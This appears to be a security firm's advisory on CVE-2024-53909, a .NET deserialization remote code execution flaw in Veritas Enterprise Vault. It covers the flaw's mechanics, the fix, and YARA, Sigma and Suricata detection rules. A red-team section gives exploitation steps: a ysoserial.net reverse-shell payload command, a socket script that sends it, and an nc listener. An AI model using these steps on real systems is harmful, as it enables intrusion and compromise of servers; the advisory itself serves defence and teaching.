CVE-2024-53909

Executive Summary

CVE-2024-53909 is a critical, unauthenticated remote code execution vulnerability in Veritas Enterprise Vault. The flaw resides in the server's handling of .NET Remoting traffic on a TCP port. By sending specially crafted, untrusted serialized data, an attacker can achieve arbitrary code execution with the privileges of the Enterprise Vault service account. The vulnerability has a CVSS score of 9.8, indicating maximum severity. No public proof-of-concept or exploit code is currently available, but the risk is extremely high due to the lack of authentication required and the potential for full system compromise. The vendor has released a fix in version 15.2.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed to trigger the vulnerability.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full read access to all data on the system is possible.
• Integrity (I): High – Full write access to all data on the system is possible.
• Availability (A): High – Full ability to disrupt service or crash the system.

Threat Level: Critical. This vulnerability allows a remote, unauthenticated attacker to completely compromise the Enterprise Vault server, leading to data theft, ransomware deployment, or lateral movement within the network.

Deep Dive & Mechanics

The vulnerability is a classic .NET deserialization attack. Veritas Enterprise Vault uses .NET Remoting for internal communication between its components. The server listens on a TCP port for incoming .NET Remoting requests. The flaw is that the server does not validate or sanitize the serialized data it receives before deserializing it.

In .NET, deserialization of untrusted data can be weaponized by crafting a malicious serialized object graph. When the server deserializes this object, it can trigger the execution of arbitrary code during the construction of objects within the graph. This is often achieved using gadgets like TextFormattingRunProperties, ObjectDataProvider, or ProcessStartInfo to execute system commands.

The attack flow is:

1. Attacker identifies a Veritas Enterprise Vault server listening on a .NET Remoting TCP port (commonly 8080 or 8443, but configurable).
2. Attacker crafts a malicious .NET binary serialized payload using tools like ysoserial.net.
3. Attacker sends the payload to the server's .NET Remoting endpoint.
4. The server deserializes the payload, triggering the gadget chain.
5. The gadget chain executes attacker-supplied code (e.g., a reverse shell, ransomware, or data exfiltration tool) with the privileges of the Enterprise Vault service account.

Vulnerable vs. Patched Code

The vulnerable code is within the .NET Remoting server implementation. The exact code is proprietary, but the fix involves implementing a custom SerializationBinder or SurrogateSelector to restrict the types that can be deserialized.

Vulnerable (Pre-15.2):

// No type validation during deserialization
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream);

Patched (15.2+):

// Custom binder restricts allowed types
BinaryFormatter formatter = new BinaryFormatter();
formatter.Binder = new SafeSerializationBinder();
object obj = formatter.Deserialize(stream);

// SafeSerializationBinder implementation
public class SafeSerializationBinder : SerializationBinder
{
    public override Type BindToType(string assemblyName, string typeName)
    {
        // Only allow known safe types
        if (typeName.StartsWith("Veritas.EnterpriseVault."))
        {
            return Type.GetType($"{typeName}, {assemblyName}");
        }
        else
        {
            throw new SerializationException("Type not allowed");
        }
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Target: Install Veritas Enterprise Vault 15.1 on a Windows Server 2019 VM.
2. Attacker: Kali Linux VM with ysoserial.net and nmap.
3. Network: Both VMs on the same isolated network.

Exploitation Steps:

1. Reconnaissance: Scan for the .NET Remoting port.

   nmap -p 8080,8443 <target_ip>
   

2. Generate Payload: Use ysoserial.net to create a deserialization payload.

   # On Windows (or using mono)
   ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -c "powershell -e <base64_encoded_rev_shell>" -o raw > payload.bin
   

3. Send Payload: Use a raw socket or a script to send the payload to the target.

   import socket
   with open('payload.bin', 'rb') as f:
       payload = f.read()
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect(('target_ip', 8080))
   s.send(payload)
   s.close()
   

4. Receive Shell: Listen on your attacker machine for the reverse shell.

   nc -lvnp 4444
   

Blue Team (Defensive)

Detection & Response:

1. Monitor .NET Remoting Traffic: Look for unusual binary data on TCP ports 8080/8443.
2. Enable Logging: Turn on .NET deserialization logging in the application.
3. Network Segmentation: Restrict access to the Enterprise Vault server to only trusted IPs.
4. Harden the Service: Run the Enterprise Vault service with the least privileges necessary.
5. Deploy WAF Rules: Block known deserialization patterns (e.g., System.Diagnostics.Process).

Indicators of Compromise (IOCs)

• Network:
  • Unusual binary data on TCP ports 8080, 8443, or other configured .NET Remoting ports.
  • Outbound connections from the Enterprise Vault server to unknown IPs on high ports (e.g., 4444).
• Host:
  • Unexpected child processes spawned by the Enterprise Vault service (e.g., cmd.exe, powershell.exe).
  • New files written to %TEMP% or %PROGRAMDATA% by the service account.
  • Event ID 1644 (Deserialization) in .NET Framework logs.
• File:
  • Presence of ysoserial.net or similar tools on the network.
  • Suspicious .bin or .txt files in network shares.

Detection Engineering

YARA Rule

rule CVE_2024_53909_Deserialization_Payload {
    meta:
        description = "Detects .NET BinaryFormatter deserialization payloads targeting Veritas Enterprise Vault"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-53909"
    strings:
        $s1 = "System.Diagnostics.Process" ascii wide nocase
        $s2 = "System.Management.Automation" ascii wide nocase
        $s3 = "TextFormattingRunProperties" ascii wide nocase
        $s4 = "ObjectDataProvider" ascii wide nocase
        $s5 = "BinaryFormatter" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-53909 .NET Deserialization Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2024-53909 via .NET Remoting
author: Valters IT
date: 2024-01-01
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: 'EnterpriseVault.exe'
        Image|endswith:
            - 'cmd.exe'
            - 'powershell.exe'
            - 'wscript.exe'
            - 'cscript.exe'
    condition: selection
falsepositives:
    - Legitimate administrative tasks
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 8080,8443 (msg:"CVE-2024-53909 .NET Deserialization Attempt"; flow:to_server,established; content:"|00 01 00 00 00 ff ff ff ff 01 00 00 00 00 00 00 00|"; depth:16; content:"System.Diagnostics.Process"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Veritas Enterprise Vault 15.2 or later immediately.
2. Network Isolation: Block inbound traffic to the .NET Remoting ports (8080, 8443) from untrusted networks using a firewall.
3. Service Account Hardening: Reduce privileges of the Enterprise Vault service account to the minimum required.

Long-Term Measures:

1. Implement Application Allowlisting: Use AppLocker or WDAC to prevent unauthorized executables from running.
2. Enable .NET Deserialization Protection: Use SerializationBinder or DataContractSerializer with type validation.
3. Regular Vulnerability Scanning: Scan for outdated Veritas Enterprise Vault versions.
4. Monitor for IOCs: Deploy the YARA, Sigma, and Suricata rules above.

Valters IT – Securing your digital assets with precision.